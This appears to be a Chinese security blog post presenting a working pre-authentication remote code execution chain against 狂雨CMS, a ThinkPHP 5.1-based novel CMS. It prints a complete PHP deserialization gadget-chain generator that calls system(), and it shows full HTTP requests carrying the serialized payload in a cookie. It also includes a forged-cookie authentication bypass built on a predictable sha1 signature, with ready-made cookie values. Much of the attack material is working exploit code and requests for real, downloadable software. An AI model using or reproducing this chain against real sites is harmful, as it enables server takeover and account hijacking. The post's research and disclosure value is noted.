狂雨CMS前台RCE


前言

CMS下载地址:http://down.chinaz.com/soft/39285.htm。

thinkphp5.1.* 反序列化漏洞

该CMS使用的thinkphp5.1.33进行的二次开发,我们知道thinkphp5.1.*和thinkphp5.2.*存在反序列化漏洞。如果满足下面其中一个条件就会产生该漏洞:

  1. 需要一个二次开发反序列化的利用点
  2. 存在文件上传、文件名完全可控、使用了文件操作函数,例如: file_exists(‘phar://恶意文件’)

具体漏洞分析可以参考文章:https://xz.aliyun.com/t/6619#toc-0

这里就存在可控的反序列化点,我们全局搜索关键词unserialize可以看到其在不少地方进行反序列,并且可以看出数据是在cookie中获取用户可操控。

认真查看发现其基本都在user的模型中,这里挑其中一处来分析application/user/model/Recentread.php,注意cookie键值前面有一个前缀lf_,在config/cookie.php可以查看。

    public function info($id){
        $data=unserialize(Cookie::get('read_log'));
        return $data[$id];
    }

可以看到符合我们的反序列的条件,这里我们使用thinkphp5.1.* 反序列化的payload试试:

<?php
namespace think\process\pipes {
    class Windows
    {
        private $files;
        public function __construct($files)
        {
            $this->files = [$files];
        }
    }
}

namespace think\model\concern {
    trait Conversion
    {
    }

    trait Attribute
    {
        private $data;
        private $withAttr = ["lin" => "system"];

        public function get()
        {
            $this->data = ["lin" => "whoami"];
        }
    }
}

namespace think {
    abstract class Model
    {
        use model\concern\Attribute;
        use model\concern\Conversion;
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model
    {
        public function __construct()
        {
            $this->get();
        }
    }
}

namespace {

    $conver = new think\model\Pivot();
    $payload = new think\process\pipes\Windows($conver);
    echo urlencode(serialize($payload));
}
?>

首先需要在前台注册一个用户,然后发送我们的payload过去:

GET /user/recentread/ HTTP/1.1
Host: kyxscms.study
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie:lf___forward__=%2Fbook%2F12207%2F881eceb922864.html; lf_user_auth=think%3A%7B%22uid%22%3A%221%22%2C%22username%22%3A%22EASY%22%7D; lf_user_auth_sign=642f128d48214c47cc7c8fa99445be7460e33b5c; lf_read_log=O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A2%3A%7Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A3%3A%22lin%22%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A3%3A%22lin%22%3Bs%3A6%3A%22system%22%3B%7D%7D%7D%7D; reader_config_web=0%7C18%7C1%7C0%7C1
Connection: close

可以看到成功执行我们的命令:

权限认证绕过

该CMS权限认证这里非常容易绕过,我们来看看其权限认证代码application/common.php

/**
 * 检测用户是否登录
 * @return integer 0-未登录,大于0-当前登录用户ID
 */
function is_login($type='user'){
    if($type=='user'){
        $user = cookie($type.'_auth');
        $user_sign = cookie($type.'_auth_sign');
    }else{
        $user = session($type.'_auth');
        $user_sign = session($type.'_auth_sign');
    }
    if (empty($user)){
        return 0;
    } else {
        return $user_sign == data_auth_sign($user) ? $user['uid'] : 0;
    }
}

首先通过cookie中的lf_user_auth和lf_user_auth_sign获取用户的基本信息($user)和用户数据凭证($user_sign),然后通过把用户信息使用data_auth_sign函数处理出来的凭证和cookie取出的$user_sign进行匹配看是否匹配,如果匹配成功放回用户的uid表示已经登录,否则放回0表示未登录。

其中lf_user_auth的格式为:think:{“uid”:”1”,”username”:”EASY”},明文可控制。

我们来看看数据签名认证方法data_auth_sign

/**
 * 数据签名认证
 * @param  array  $data 被认证的数据
 * @return string       签名
 */
function data_auth_sign($data) {
    //数据类型检测

    if(!is_array($data)){
        $data = (array)$data;
    }
    ksort($data); //排序
    $code = http_build_query($data); //url编码并生成query字符串
    $sign = sha1($code); //生成签名
    return $sign;
}

首先判断是否是数组,然后按照键名对关联数组进行升序排序,然后生成 URL-encode 之后的请求字符串。

此时$code的格式为:uid=1&username=EASY

然后使用sha1进行加密。从上面分析我们可以得到以下结论:

  • 1.只要获取uid和username我们就可以自已伪造签名
  • 2.uid和username都是从cookielf_user_auth中获取并且我们可控。
  • 3.因为认证结果放回的是用户的uid所以其实我们甚至不需要知道用户名只需要尝试uid值构造对应的签名就可以登录到对应的账号中。

我们来测试一下上面的猜想:

首先构造lf_user_auth为think:{"uid":"1","username":"23333"}其中username随意uid真实存在就行了(其实uid不存在也行不过登录后后台什么数据都没有罢了)。注意数据要进行URL编码

构建lf_user_auth_sign值:只需要把字符uid=1&username=23333使用sha1加密函数加密一下就好。payload如下:

lf_user_auth=%74%68%69%6E%6B%3A%7B%22%75%69%64%22%3A%22%31%22%2C%22%75%73%65%72%6E%61%6D%65%22%3A%22%32%33%33%33%33%22%7D
lf_user_auth_sign=5f7af37c12f20b2ebbac7fef23f412a9ecfc3c2d

成功登录上EASY的账号中。

前台无限制RCE

结合起来即可前台RCE。最终payload:

GET /user/recentread/ HTTP/1.1
Host: kyxscms.study
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: lf_user_auth=%74%68%69%6E%6B%3A%7B%22%75%69%64%22%3A%22%31%22%2C%22%75%73%65%72%6E%61%6D%65%22%3A%22%32%33%33%33%33%22%7D; lf_user_auth_sign=5f7af37c12f20b2ebbac7fef23f412a9ecfc3c2d;lf_read_log=O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A2%3A%7Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A3%3A%22lin%22%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A3%3A%22lin%22%3Bs%3A6%3A%22system%22%3B%7D%7D%7D%7D; reader_config_web=0%7C18%7C1%7C0%7C1
Connection: close


文章作者: EASY
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 EASY !
 上一篇
2020年年度总结 2020年年度总结
前言今天是2020年最后一天,不禁感叹时光之飞逝,自已的大学生涯也过完了大半。我每周都有写反思总结的习惯,我很享受这个过程,感觉键盘敲下的时候就如同和自已的心灵在对话。得益这个习惯我可以在年末回顾这一整年来自已的心路历程,能够再次读取以往某
2020-12-31 EASY
下一篇 
Thinkphp5 RCE 分析 Thinkphp5 RCE 分析
前言开始前可以看一下大佬的Thinkphp5 源码阅读 了解thinkphp5的基本运行流程。 thinphp的rce方法在不同版本利用方式不同,但主要的rce原因有两个: thinkphp/library/think/Request.p
2020-12-11 EASY
  目录